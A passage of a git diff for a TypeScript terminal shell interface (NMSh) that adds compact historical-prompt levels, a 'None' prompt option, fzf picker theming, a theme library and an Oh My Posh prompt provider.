HistoricalContextSnapshot { project?: string; branch?: string; prompt?: PromptSnapshot; + /** Submitted under Prompt None: there was no prompt, so history renders none (never a substituted Native one). */ + promptless?: true; } export interface SecondaryActivity { @@ -290,7 +292,11 @@ export class OutputBuffer { this.parser.addLine(text, style); } - addFrontendInteraction(command: string, result: string, resultStyle = ''): void { + /** + * `authoredLinks`: the result was rendered by NMSh (for example /help) and + * may carry NMSh-authored OSC 8 links; they are kept as authored cells. + */ + addFrontendInteraction(command: string, result: string, resultStyle = '', authoredLinks = false): void { this.parser.ensureLineBoundary(); if (this.parser.completedCount() > 0) { this.visualGaps.add(this.parser.completedCount()); @@ -298,7 +304,8 @@ export class OutputBuffer { this.lineTypes.set(this.parser.completedCount(), 'metadata'); this.parser.addLine(`${GLYPHS.prompt} ${command}`, foreground(UI_COLORS.command)); this.lineTypes.set(this.parser.completedCount(), 'metadata'); - this.parser.addLine(` ${GLYPHS.info} ${result}`, resultStyle); + if (authoredLinks) this.parser.addAuthoredLine(` ${GLYPHS.info} ${result}`, resultStyle); + else this.parser.addLine(` ${GLYPHS.info} ${result}`, resultStyle); } /** @@ -342,14 +349,15 @@ export class OutputBuffer { } /** A multi-row NMSh-owned result (for example /agents); presentation rows, never shell output. */ - addFrontendBlock(command: string, rows: readonly string[]): void { + addFrontendBlock(command: string, rows: readonly string[], authoredLinks = false): void { this.parser.ensureLineBoundary(); if (this.parser.completedCount() > 0) this.visualGaps.add(this.parser.completedCount()); this.lineTypes.set(this.parser.completedCount(), 'metadata'); this.parser.addLine(`${GLYPHS.prompt} ${command}`, foreground(UI_COLORS.command)); for (const row of rows) { this.lineTypes.set(this.parser.completedCount(), 'metadata'); - this.parser.addLine(` ${row}`, ''); + if (authoredLinks) this.parser.addAuthoredLine(` ${row}`, ''); + else this.parser.addLine(` ${row}`, ''); } } diff --git a/src/output/TranscriptPanel.ts b/src/output/TranscriptPanel.ts index e22f5395..e0f44d8c 100644 --- a/src/output/TranscriptPanel.ts +++ b/src/output/TranscriptPanel.ts @@ -1,6 +1,9 @@ import {DEFAULT_TREATMENT_SETTINGS, type TreatmentSettings} from '../chroma/treatment.js'; import { DIVIDER_COLOR_LABELS, + HISTORICAL_PROMPT_LEVEL_LABELS, + HISTORICAL_PROMPT_LEVELS, + type HistoricalPromptLevel, DIVIDER_COLOR_MODES, NATIVE_PALETTE_IDS, type HistoryColorMode, @@ -60,6 +63,13 @@ function cycle(values: readonly T[], current: T, delta: number): T { return values[(index + delta + values.length) % values.length]!; } +const PROMPT_LEVELS = [...HISTORICAL_PROMPT_LEVELS, 'off'] as const; + +/** Full / Compact / Minimal while on, Off otherwise: one presentation choice over the two stored fields. */ +export function historicalPromptLevel(appearance: TranscriptAppearance): HistoricalPromptLevel | 'off' { + return appearance.historicalPrompt ? appearance.historicalPromptLevel ?? 'full' : 'off'; +} + export function transcriptDraftChanged(state: TranscriptPanelState): boolean { return JSON.stringify(state.draft) !== JSON.stringify(state.saved) || state.folding?.draft !== state.folding?.saved; } @@ -75,7 +85,12 @@ export function handleTranscriptPanelKey(key: Key, state: TranscriptPanelState): case 'divider': draft.divider = !draft.divider; break; case 'density': draft.dividerDensity = draft.dividerDensity === 'compact' ? 'normal' : 'compact'; break; case 'dividerColors': draft.dividerColors = cycle(DIVIDER_COLOR_MODES, draft.dividerColors, delta); break; - case 'prompt': draft.historicalPrompt = !draft.historicalPrompt; break; + case 'prompt': { + const level = cycle(PROMPT_LEVELS, historicalPromptLevel(draft), delta); + draft.historicalPrompt = level !== 'off'; + if (level !== 'off') draft.historicalPromptLevel = level; + break; + } case 'colors': draft.historyColors = cycle(COLOR_MODES, draft.historyColors, delta); break; case 'theme': draft.historyTheme = cycle(NATIVE_PALETTE_IDS, draft.historyTheme, delta); break; case 'folding': state.folding!.draft = cycle(OUTPUT_FOLDING_MODES, state.folding!.draft, delta); break; @@ -104,7 +119,7 @@ export function renderTranscriptPanel(state: TranscriptPanelState, columns: numb divider: `Divider ${value(onOff(draft.divider), onOff(saved.divider))}`, density: `Divider density ${value(draft.dividerDensity === 'compact' ? 'Compact' : 'Normal', saved.dividerDensity === 'compact' ? 'Compact' : 'Normal')}`, dividerColors: `Divider colors ${value(DIVIDER_COLOR_LABELS[draft.dividerColors], DIVIDER_COLOR_LABELS[saved.dividerColors])}`, - prompt: `Historical prompt ${value(onOff(draft.historicalPrompt), onOff(saved.historicalPrompt))}`, + prompt: `Historical prompt ${value(HISTORICAL_PROMPT_LEVEL_LABELS[historicalPromptLevel(draft)], HISTORICAL_PROMPT_LEVEL_LABELS[historicalPromptLevel(saved)])}`, colors: `History colors ${value(colorModeLabel(draft.historyColors), colorModeLabel(saved.historyColors))}`, theme: `History theme ${value(NATIVE_PROMPT_THEMES[draft.historyTheme].label, NATIVE_PROMPT_THEMES[saved.historyTheme].label)}`, folding: state.folding ? `Output folding ${value(foldingLabel(state.folding.draft), foldingLabel(state.folding.saved))}` : '', diff --git a/src/output/TranscriptPresenter.ts b/src/output/TranscriptPresenter.ts index e27f9207..c10c71ae 100644 --- a/src/output/TranscriptPresenter.ts +++ b/src/output/TranscriptPresenter.ts @@ -438,6 +438,23 @@ function legacySegments(context: HistoricalContextSnapshot): HistoricalSegment[] return segments.map(segment => ({...segment, foreground: LEGACY_FOREGROUND, background: LEGACY_BACKGROUNDS[segment.role!], preMuted: true})); } +/** + * Compact and Minimal historical prompts: a quiet view of the stored facts + * (project or short cwd, branch, marker). Presentation only; the snapshot and + * /copy are unchanged, and nothing is invented that was not recorded. + */ +function condensedPrompt(context: HistoricalContextSnapshot, level: 'compact' | 'minimal', width: number): string { + const marker = `${foreground(UI_COLORS.accent)}${GLYPHS.prompt}\u001B[0m`; + if (level === 'minimal') return truncateAnsi(marker, width); + const clean = (text: string) => text.replace(CONTROL_CHARACTERS, '�'); + const cwd = clean(context.cwd); + const home = homedir().replace(/\/$/u, ''); + const place = context.project ? clean(context.project) : cwd === home ? '~' : cwd.split('/').filter(Boolean).pop() ?? cwd; + const subtle = foreground(UI_COLORS.secondary); + const branch = context.branch ? ` ${foreground(UI_COLORS.subtle)}${GLYPHS.branch} ${clean(context.branch)}` : ''; + return truncateAnsi(`${subtle}${place}${branch}\u001B[0m ${marker}`, width); +} + /** The prompt part of a historical header, colored per the transcript appearance. */ /** Divider cells kept between a historical left prompt and its right context. */ const RIGHT_CONTEXT_MIN_DIVIDER = 2; @@ -524,13 +541,17 @@ function historicalDivider(text: string, context: HistoricalContextSnapshot, app export function renderHistoricalContext(context: HistoricalContextSnapshot, width: number, appearance: TranscriptAppearance = DEFAULT_TRANSCRIPT_APPEARANCE, treatment: TreatmentSettings = DEFAULT_TREATMENT_SETTINGS): WrappedRow | undefined { - if (!appearance.divider && !appearance.historicalPrompt) return undefined; + // Prompt None submissions had no prompt: they render like the Off presentation, never a substituted one. + const promptShown = appearance.historicalPrompt && !context.promptless; + if (!appearance.divider && !promptShown) return undefined; const divider = DIVIDER_STYLES[appearance.dividerDensity]; - if (!appearance.historicalPrompt) { + if (!promptShown) { const line = repeatToWidth(divider.glyph, width); return {ansi: `${historicalDivider(line, context, appearance, treatment, divider.color)}\u001B[0m`, plain: line, isHistoricalHeader: true}; } - const parts = historicalPrompt(context, Math.max(0, width - (appearance.divider ? 1 : 0)), appearance); + const level = appearance.historicalPromptLevel ?? 'full'; + const parts = level === 'full' ? historicalPrompt(context, Math.max(0, width - (appearance.divider ? 1 : 0)), appearance) + : condensedPrompt(context, level, Math.max(0, width - (appearance.divider ? 1 : 0))); const prompt = typeof parts === 'string' ? parts : parts.left; const right = typeof parts === 'string' || !parts.right ? '' : parts.right; const rightWidth = right ? displayWidth(right) + 1 : 0; diff --git a/src/pickers/Picker.ts b/src/pickers/Picker.ts index d6edada1..ac433bd5 100644 --- a/src/pickers/Picker.ts +++ b/src/pickers/Picker.ts @@ -3,6 +3,7 @@ import {mkdtemp, writeFile, mkdir, rm} from 'node:fs/promises'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; import {resolveCommand, type ProviderDescriptor} from '../providers/providers.js'; +import {withFzfTheme} from '../themeBridge/targets.js'; export type PickerProviderId = 'native' | 'fzf' | 'television'; export interface PickerCandidate { id: string; label: string; description?: string; value: string } @@ -33,13 +34,18 @@ export function pickerSelection(output: string, candidates: readonly PickerCandi return {kind: 'selected', candidate}; } +/** NMSh-owned fzf arguments; `layout` follows the composer side. */ +export function fzfPickerArgs(layout: 'default' | 'reverse'): string[] { + return ['--no-multi', '--no-sort', '--delimiter=\t', '--with-nth=2..', `--layout=${layout}`, '--no-mouse', '--pointer=>', '--marker=*']; +} + /** Native surfaces delegate their existing editor UI through the same boundary. */ export async function openPicker(provider: PickerProviderId, candidates: readonly PickerCandidate[], native: () => void, - handoff: PickerHandoff, env: NodeJS.ProcessEnv = process.env): Promise { + handoff: PickerHandoff, env: NodeJS.ProcessEnv = process.env, themeArgs: readonly string[] = [], layout: 'default' | 'reverse' = 'default'): Promise { if (provider === 'native') { native(); return; } const binary = resolveCommand(provider === 'fzf' ? 'fzf' : 'tv', env.PATH ?? '', []); if (!binary) { native(); return {kind: 'fallback', reason: `${provider} is not installed; using Native`}; } - const result = await handoff(signal => runPicker(binary, provider, candidates, signal, env)); + const result = await handoff(signal => runPicker(binary, provider, candidates, signal, env, 300_000, themeArgs, layout)); if (result.kind === 'fallback') native(); return result; } @@ -47,7 +53,7 @@ export async function openPicker(provider: PickerProviderId, candidates: readonl /** Interactive, bounded, host-TTY process; only call while the host has handed off ownership. */ export async function runPicker(binary: string, provider: Exclude, candidates: readonly PickerCandidate[], signal: AbortSignal, env: NodeJS.ProcessEnv = process.env, - timeoutMs = 300_000): Promise { + timeoutMs = 300_000, themeArgs: readonly string[] = [], layout: 'default' | 'reverse' = 'default'): Promise { if (signal.aborted) return {kind: 'cancelled'}; const input = pickerInput(candidates); if (candidates.length > 100_000 || Buffer.byteLength(input) > 16 * 1024 * 1024) @@ -57,7 +63,8 @@ export async function runPicker(binary: string, provider: Exclude', '--marker=*']; + // The query follows NMSh's composer: bottom (fzf's own default) or top (reverse). Never the user's standalone fzf config. + if (provider === 'fzf') args = fzfPickerArgs(layout); else { // No user cable, hooks, preview command or persisted history is loaded. await writeFile(join(directory, 'config.toml'), 'history_size = 0\n', {mode: 0o600}); @@ -68,6 +75,8 @@ export async function runPicker(binary: string, provider: Exclude(resolve => { const child = spawn(binary, args, {env: environment, stdio: ['pipe', 'pipe', 'inherit']}); diff --git a/src/prompt/Powerlevel10kConfigurator.ts b/src/prompt/Powerlevel10kConfigurator.ts index e6c946fd..ece76282 100644 --- a/src/prompt/Powerlevel10kConfigurator.ts +++ b/src/prompt/Powerlevel10kConfigurator.ts @@ -21,11 +21,12 @@ export function powerlevel10kZshrcPath(env: NodeJS.ProcessEnv = process.env): st return resolve(join(env.ZDOTDIR || env.HOME || homedir(), '.zshrc')); } -function fingerprint(content: Buffer): string { +export function fingerprint(content: Buffer): string { return createHash('sha256').update(content).digest('hex'); } -async function snapshot(path: string): Promise { +/** Fingerprint and back up one config file before a handoff that may change it (absent files are recorded as absent). */ +export async function snapshot(path: string): Promise { try { const info = await lstat(path); if (!info.isFile() || info.isSymbolicLink()) throw new Error(`${path} is not a regular file; open the wizard manually from /zsh.`); diff --git a/src/prompt/PromptPanel.ts b/src/prompt/PromptPanel.ts index 468ed5a0..05289d06 100644 --- a/src/prompt/PromptPanel.ts +++ b/src/prompt/PromptPanel.ts @@ -93,6 +93,8 @@ export const PROMPT_PROVIDERS: readonly ProviderDescriptor[] = {id: 'nmsh', family: 'prompt', label: 'NMSh Native', kind: 'native', description: 'built-in themes, geometry, and modules'}, {id: 'starship', family: 'prompt', label: 'Starship', kind: 'external', executable: 'starship', description: 'use its themes/configuration'}, {id: 'powerlevel10k', family: 'prompt', label: 'Powerlevel10k', kind: 'external', description: 'use your ~/.p10k.zsh left prompt'}, + {id: 'ohMyPosh', family: 'prompt', label: 'Oh My Posh', kind: 'external', executable: 'oh-my-posh', description: 'render with oh-my-posh; no shell rc change'}, + {id: 'none', family: 'prompt', label: 'None', kind: 'none', description: 'composer only: no prompt row or modules; the input marker stays'}, ]; export const PROVIDER_ORDER: readonly PromptProviderId[] = PROMPT_PROVIDERS.map(provider => provider.id); @@ -219,6 +221,8 @@ export function styleRows(configuration: PromptConfiguration): AppearanceRow[] { /** Main Prompt rows: theme, style and vibrance, the style's own controls, then icons and modules. */ export function appearanceRows(configuration: PromptConfiguration): AppearanceRow[] { + // Prompt None keeps only the input marker (plus the theme, which still styles NMSh UI). + if (configuration.provider === 'none') return [...themeRows(configuration), PROMPT_SYMBOL_ROW, ...(configuration.promptSymbol === 'custom' ? [PROMPT_SYMBOL_GLYPH_ROW] : [])]; return [ ...themeRows(configuration), {id: 'textColors', label: 'Text colors', value: c => c.nmsh.textColors === 'neutral' ? 'Neutral' : 'Theme', @@ -414,6 +418,7 @@ export function layoutLabel(configuration: PromptConfiguration): string { /** One-line summary of an effective configuration. */ export function describePromptConfiguration(configuration: PromptConfiguration): string { + if (configuration.provider === 'none') return 'None · composer only'; if (configuration.provider !== 'nmsh') return `${providerLabel(configuration.provider)} · ${layoutLabel(configuration)}`; const nmsh = configuration.nmsh; // Powerline geometry describes only Powerline; other styles name their own look. diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index a6564cba..a9e5f336 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -28,13 +28,16 @@ import { import {normalizeStyleProfiles, type StyleProfiles} from './styles.js'; import {normalizeCustomGlyph, normalizePromptSymbol, type PromptSymbolId} from './glyphChoices.js'; import {normalizeCatppuccinAccent, type CatppuccinAccent} from '../appearance/themeFamilies.js'; -import {normalizeCustomTheme, type CustomTheme} from '../appearance/customTheme.js'; +import {type CustomTheme} from '../appearance/customTheme.js'; +import {findTheme, normalizeThemeLibrary, type ThemeAsset} from '../appearance/themeLibrary.js'; +import {DEFAULT_THEME_BRIDGE, normalizeThemeBridge, type ThemeBridgeSettings} from '../themeBridge/model.js'; import {IDLE_MODES, type IdleMode} from '../idle/scenes.js'; import {DEFAULT_UI_CHROME, normalizeUiChrome, type UiChromeSettings} from '../appearance/uiChrome.js'; import {normalizeVibrance, type Vibrance} from '../chroma/color.js'; import {isShellId, type ShellId} from '../shell/adapters/ShellAdapter.js'; import {normalizeProfiles, type AgentProfile} from '../agents/sessions/manager.js'; import {OPEN_WITH_IDS, type OpenWith} from '../host/HostActions.js'; +import {DEFAULT_KEEP_AWAKE_PRESENTATION, normalizeKeepAwakePresentation, type KeepAwakePresentation} from '../keepAwake/presentation.js'; export type WelcomeProviderId = 'vespyr' | 'fastfetch' | 'neofetch' | 'macchina' | 'zigfetch' | 'none'; export const WELCOME_PROVIDER_IDS: readonly WelcomeProviderId[] = ['vespyr', 'fastfetch', 'neofetch', 'macchina', 'zigfetch', 'none']; @@ -80,7 +83,8 @@ export function applyShellModuleVisibility(configuration: Pick = new Set(['toolchain', 'kubeContext', 'dockerContext']); -export type PromptProviderId = 'nmsh' | 'starship' | 'powerlevel10k'; +/** `none` is composer only: no prompt row, modules or right prompt (the input marker stays); everything else in NMSh stays on. */ +export type PromptProviderId = 'nmsh' | 'starship' | 'powerlevel10k' | 'ohMyPosh' | 'none'; export type NativeEndStyle = PowerlineEdgeStyle; export type NativeStartStyle = PowerlineEdgeStyle; export type NativeConnectorStyle = PowerlineConnectorStyle; @@ -166,9 +170,16 @@ export type DividerColorMode = typeof DIVIDER_COLOR_MODES[number]; export const DIVIDER_COLOR_LABELS: Record = {chroma: 'Follow Chroma', history: 'Follow history', ui: 'Follow UI theme', muted: 'Muted grayscale'}; /** How historical command headers are presented; stored snapshots are never changed. */ +/** How much of a stored prompt snapshot past commands show; Off is `historicalPrompt: false`. */ +export const HISTORICAL_PROMPT_LEVELS = ['full', 'compact', 'minimal'] as const; +export type HistoricalPromptLevel = typeof HISTORICAL_PROMPT_LEVELS[number]; +export const HISTORICAL_PROMPT_LEVEL_LABELS: Record = {full: 'Full', compact: 'Compact', minimal: 'Minimal', off: 'Off'}; + export interface TranscriptAppearance { divider: boolean; historicalPrompt: boolean; + /** Presentation only, used while `historicalPrompt` is on; the stored snapshot stays complete. Missing means Full. */ + historicalPromptLevel: HistoricalPromptLevel; historyColors: HistoryColorMode; /** Used when `historyColors` is `theme`. */ historyTheme: NativePaletteId; @@ -179,6 +190,7 @@ export interface TranscriptAppearance { export const DEFAULT_TRANSCRIPT_APPEARANCE: TranscriptAppearance = { divider: true, historicalPrompt: true, + historicalPromptLevel: 'full', historyColors: 'followPrompt', historyTheme: 'lavender', dividerDensity: 'normal', @@ -190,6 +202,7 @@ export function normalizeTranscriptAppearance(value: unknown): TranscriptAppeara return { divider: typeof value.divider === 'boolean' ? value.divider : true, historicalPrompt: typeof value.historicalPrompt === 'boolean' ? value.historicalPrompt : true, + historicalPromptLevel: HISTORICAL_PROMPT_LEVELS.includes(value.historicalPromptLevel as HistoricalPromptLevel) ? value.historicalPromptLevel as HistoricalPromptLevel : 'full', historyColors: value.historyColors === 'theme' || value.historyColors === 'grayscale' ? value.historyColors : 'followPrompt', historyTheme: normalizePaletteId(value.historyTheme), dividerDensity: value.dividerDensity === 'compact' ? 'compact' : 'normal', @@ -518,10 +531,24 @@ export interface PromptConfiguration { promptSymbol: PromptSymbolId; /** Used when `promptSymbol` is `custom`; kept when another symbol is chosen. */ promptSymbolCustom?: string; - /** The user's custom Native theme (NMSh Theme JSON); used when the palette is `custom`, kept otherwise. */ + /** + * The Native theme library: canonical user-owned themes (Custom and + * Imported) with stable ids. `nmsh.themeId` names the one the `custom` + * palette uses. + */ + themes: ThemeAsset[]; + /** + * Mirror of the library asset named by `nmsh.themeId`, rewritten on every + * normalization (never edited directly). Renderers and older NMSh versions + * read it; only a configuration without `themes` migrates from it. + */ customTheme?: CustomTheme; + /** Opt-in Theme Bridge: one independent mode per external tool target; all Independent by default. */ + themeBridge: ThemeBridgeSettings; cursor: CursorSettings; statusStrip: StatusStripSettings; + /** How an active Keep Awake shows in NMSh chrome (placement, display, idle reminder, screensaver). Off shows nothing. */ + keepAwake: KeepAwakePresentation; idleVisuals: IdleVisualSettings; liveActivity: LiveActivitySettings; /** Where NMSh chrome (frames, rules, tabs, selection, accents) takes its colors from. */ @@ -548,6 +575,8 @@ export interface PromptConfiguration { connector: NativeConnectorStyle; endStyle: NativeEndStyle; palette: NativePaletteId; + /** The library asset (`themes[].id`) a `custom` palette uses; kept while a built-in is active. */ + themeId?: string; icons: NativeIconMode; /** Visual style over the same semantic segments; missing in older configs means Powerline. */ style: PromptStyle; @@ -581,6 +610,8 @@ export interface PromptConfiguration { starship: {configPath: string | null}; /** Optional overrides; null uses detection and the default ~/.p10k.zsh. Never written to. */ powerlevel10k: {themePath: string | null; configPath: string | null}; + /** Optional local config path; null uses POSH_CONFIG, else Oh My Posh's built-in default. Never written to. */ + ohMyPosh: {configPath: string | null}; notifications: NotificationSettings; transcript: TranscriptAppearance; syntax: SyntaxAppearance; @@ -629,6 +660,7 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { promptSymbol: 'chevron', cursor: {...DEFAULT_CURSOR}, statusStrip: {...DEFAULT_STATUS_STRIP}, + keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION}, agentProfiles: [], sessionNotices: true, askRecord: true, @@ -640,11 +672,14 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { idleVisuals: {...DEFAULT_IDLE_VISUALS, customStops: []}, liveActivity: {...DEFAULT_LIVE_ACTIVITY, customStops: []}, uiChrome: {...DEFAULT_UI_CHROME}, + themes: [], + themeBridge: DEFAULT_THEME_BRIDGE(), nmsh: {gapEnabled: true, startStyle: 'wedge', connector: 'wedge', endStyle: 'fadeWedge', palette: 'lavender', icons: 'nerd', style: 'powerline', connectorFade: 'off', connectorFadeColors: 'previous', gitEnabled: true, gitColors: 'semantic', gitGeometry: 'follow', gitConnectorFade: 'followMain', mirrorRight: true, vibrance: 'standard', textColors: 'theme', accent: 'mauve', styleProfiles: normalizeStyleProfiles(undefined)}, starship: {configPath: null}, powerlevel10k: {themePath: null, configPath: null}, + ohMyPosh: {configPath: null}, transcript: {...DEFAULT_TRANSCRIPT_APPEARANCE}, syntax: {...DEFAULT_SYNTAX_APPEARANCE}, placement: 'header', @@ -718,18 +753,20 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio ? [...new Set(value.ignoredInstallSuggestions.filter((id): id is string => typeof id === 'string' && /^[A-Za-z0-9][A-Za-z0-9_.+-]{0,63}$/u.test(id)))].slice(0, 256) : []; const promptSymbolCustom = normalizeCustomGlyph(value.promptSymbolCustom); - const tooling = {motion: normalizeMotion(value.motion), pastePreview: (value.pastePreview === 'always' || value.pastePreview === 'off' ? value.pastePreview : 'smart') as 'smart' | 'always' | 'off', cursor: normalizeCursor(value.cursor), statusStrip: normalizeStatusStrip(value.statusStrip), idleVisuals: normalizeIdleVisuals(value.idleVisuals), liveActivity: normalizeLiveActivity(value.liveActivity), uiChrome: normalizeUiChrome(value.uiChrome), + const tooling = {motion: normalizeMotion(value.motion), pastePreview: (value.pastePreview === 'always' || value.pastePreview === 'off' ? value.pastePreview : 'smart') as 'smart' | 'always' | 'off', cursor: normalizeCursor(value.cursor), statusStrip: normalizeStatusStrip(value.statusStrip), keepAwake: normalizeKeepAwakePresentation(value.keepAwake), idleVisuals: normalizeIdleVisuals(value.idleVisuals), liveActivity: normalizeLiveActivity(value.liveActivity), uiChrome: normalizeUiChrome(value.uiChrome), sessionNotices: value.sessionNotices !== false, agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, askRecord: value.askRecord !== false, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, localUnderstanding: normalizeLocalUnderstanding(value.localUnderstanding), shellBackend: isShellId(value.shellBackend) ? value.shellBackend : 'zsh', openWith: OPEN_WITH_IDS.includes(value.openWith as OpenWith) ? value.openWith as OpenWith : 'auto', toolUpdateChecks, installSuggestions, ignoredInstallSuggestions, promptSymbol: normalizePromptSymbol(value.promptSymbol), ...(promptSymbolCustom ? {promptSymbolCustom} : {})}; - const provider: PromptProviderId = promptValue.provider === 'starship' || promptValue.provider === 'powerlevel10k' + const provider: PromptProviderId = promptValue.provider === 'starship' || promptValue.provider === 'powerlevel10k' || promptValue.provider === 'ohMyPosh' || promptValue.provider === 'none' ? promptValue.provider : 'nmsh'; const p10kValue = isRecord(promptValue.powerlevel10k) ? promptValue.powerlevel10k : {}; const optionalPath = (value: unknown) => typeof value === 'string' && value.trim() ? value : null; const powerlevel10k = {themePath: optionalPath(p10kValue.themePath), configPath: optionalPath(p10kValue.configPath)}; + const ompValue = isRecord(promptValue.ohMyPosh) ? promptValue.ohMyPosh : {}; + const ohMyPosh = {configPath: optionalPath(ompValue.configPath)}; const nativeValue = isRecord(promptValue.nmsh) ? promptValue.nmsh : promptValue; const starshipValue = isRecord(promptValue.starship) ? promptValue.starship : {}; const endStyle = normalizeEdgeStyle(nativeValue.endStyle, 'fadeWedge'); @@ -737,16 +774,18 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio const connector = normalizeConnectorStyle(nativeValue.connector); const icons: NativeIconMode = nativeValue.icons === 'off' || nativeValue.icons === false ? 'off' : 'nerd'; const style = normalizePromptStyle(nativeValue.style); - const customTheme = normalizeCustomTheme(value.customTheme); - // A custom palette without a valid custom theme falls back instead of rendering nothing. + // The library is canonical; a pre-library customTheme migrates into it once. + const library = normalizeThemeLibrary(value.themes, value.customTheme, nativeValue.themeId); + const customTheme = findTheme(library.themes, library.themeId)?.theme; + // A custom palette without a valid library theme falls back instead of rendering nothing. const storedPalette = normalizePaletteId(nativeValue.palette); const palette = storedPalette === 'custom' && !customTheme ? 'lavender' : storedPalette; - Object.assign(tooling, customTheme ? {customTheme} : {}); + const themed = {...tooling, themes: library.themes, themeBridge: normalizeThemeBridge(value.themeBridge), ...(customTheme ? {customTheme: structuredClone(customTheme)} : {})}; const transcript = normalizeTranscriptAppearance(promptValue.transcript); const syntax = normalizeSyntaxAppearance(promptValue.syntax); const notifications = normalizeNotificationSettings(value.notifications); const nmsh = {gapEnabled: typeof nativeValue.gapEnabled === 'boolean' ? nativeValue.gapEnabled : true, - startStyle, connector, endStyle, palette, icons, style, + startStyle, connector, endStyle, palette, ...(library.themeId ? {themeId: library.themeId} : {}), icons, style, connectorFade: normalizeConnectorFade(nativeValue.connectorFade), connectorFadeColors: normalizeConnectorFadeColors(nativeValue.connectorFadeColors), gitEnabled: typeof nativeValue.gitEnabled === 'boolean' ? nativeValue.gitEnabled : true, @@ -781,7 +820,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio if (!Array.isArray(value.modules)) { return {...structuredClone(DEFAULT_PROMPT_CONFIGURATION), provider, onboardingComplete: value.onboardingComplete === true, toolsSetupComplete, glyphStyle, glyphChoiceComplete, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, - presentation, nmsh, starship: {configPath: starshipConfigPath}, powerlevel10k, transcript, syntax, notifications, placement, composerLayout, composerPosition, panelPosition, transcriptPresentation, composerDividers: value.composerDividers !== false, spacing, gap, separator, ...tooling}; + presentation, nmsh, starship: {configPath: starshipConfigPath}, powerlevel10k, ohMyPosh, transcript, syntax, notifications, placement, composerLayout, composerPosition, panelPosition, transcriptPresentation, composerDividers: value.composerDividers !== false, spacing, gap, separator, ...themed}; } const modules: ContextModuleConfig[] = []; @@ -824,8 +863,8 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio return {provider, onboardingComplete: value.onboardingComplete === true, toolsSetupComplete, - glyphStyle, glyphChoiceComplete, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, presentation, nmsh, transcript, syntax, notifications, powerlevel10k, - starship: {configPath: starshipConfigPath}, placement, composerLayout, composerPosition, panelPosition, transcriptPresentation, composerDividers: value.composerDividers !== false, modules, separator, spacing, gap, ...tooling}; + glyphStyle, glyphChoiceComplete, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, presentation, nmsh, transcript, syntax, notifications, powerlevel10k, ohMyPosh, + starship: {configPath: starshipConfigPath}, placement, composerLayout, composerPosition, panelPosition, transcriptPresentation, composerDividers: value.composerDividers !== false, modules, separator, spacing, gap, ...themed}; } export function loadPromptConfiguration(path = promptConfigurationPath()): PromptConfiguration { diff --git a/src/prompt/glyphChoices.ts b/src/prompt/glyphChoices.ts index 5de265ff..a9eed7ce 100644 --- a/src/prompt/glyphChoices.ts +++ b/src/prompt/glyphChoices.ts @@ -164,6 +164,8 @@ export const SEMANTIC_ICONS = { update: {nerd: '', unicode: '↻', ascii: '^'}, sparkle: {nerd: '✦', unicode: '✦', ascii: '*'}, moon: {nerd: '', unicode: '☾', ascii: ''}, + /** Keep Awake: an open eye (no mascot, no cup); Safe/ASCII has none, so the text carries it. */ + awake: {nerd: '\u{f06e}', unicode: '\u25c9', ascii: ''}, palette: {nerd: '', unicode: '', ascii: ''}, } as const satisfies Record; export type SemanticIconId = keyof typeof SEMANTIC_ICONS; diff --git a/src/prompt/ohMyPosh.ts b/src/prompt/ohMyPosh.ts new file mode 100644 index 00000000..8c314e93 --- /dev/null +++ b/src/prompt/ohMyPosh.ts @@ -0,0 +1,112 @@ +import {execFile, spawn} from 'node:child_process'; +import {accessSync, constants} from 'node:fs'; +import {homedir} from 'node:os'; +import {isAbsolute, resolve} from 'node:path'; +import {promisify} from 'node:util'; +import {resolveCommand} from '../providers/providers.js'; +import type {PromptContext} from '../shell/ShellContext.js'; +import {parseStarshipPrompt, type StarshipPromptResult} from './starship.js'; + +const execFileAsync = promisify(execFile); + +/** + * Oh My Posh as an external prompt provider. NMSh runs the executable + * directly (`oh-my-posh print primary`), never `oh-my-posh init` and never + * through a shell or the user's rc files: argv only, the cwd and last exit + * status passed as documented flags, no controlling TTY, bounded output, a + * timeout that kills the whole process group, and cancellation. Its ANSI + * output crosses the same safe span parser as Starship and Powerlevel10k. + * + * Config: the path chosen in NMSh, else POSH_CONFIG (documented by Oh My + * Posh), else Oh My Posh's own built-in default. No rc file is parsed. + */ + +export interface OhMyPoshStatus { + installed: boolean; + binary?: string; + version?: string; + /** undefined: Oh My Posh's built-in default configuration. */ + configPath?: string; + configSource: 'nmsh' | 'POSH_CONFIG' | 'default'; + configExists: boolean; +} + +export const OH_MY_POSH_OUTPUT_LIMIT = 256 * 1024; + +function readable(path: string): boolean { + try { accessSync(path, constants.R_OK); return true; } catch { return false; } +} + +/** Absolute, readable-or-not local path; remote (URL) configs are never fetched by NMSh's choice. */ +export function normalizeOhMyPoshConfigPath(value: string | undefined, home = homedir()): string | undefined { + const trimmed = value?.trim(); + if (!trimmed || /^[a-z][a-z0-9+.-]*:\/\//iu.test(trimmed) || /[\u0000-\u001f\u007f]/u.test(trimmed)) return undefined; + const expanded = trimmed.replace(/^~(?=\/|$)/u, home); + return isAbsolute(expanded) ? resolve(expanded) : undefined; +} + +export function ohMyPoshConfig(configured: string | undefined, env: NodeJS.ProcessEnv = process.env, home = homedir()): Pick { + const chosen = normalizeOhMyPoshConfigPath(configured, home); + if (chosen) return {configPath: chosen, configSource: 'nmsh', configExists: readable(chosen)}; + const fromEnv = normalizeOhMyPoshConfigPath(env.POSH_CONFIG, home); + if (fromEnv) return {configPath: fromEnv, configSource: 'POSH_CONFIG', configExists: readable(fromEnv)}; + return {configSource: 'default', 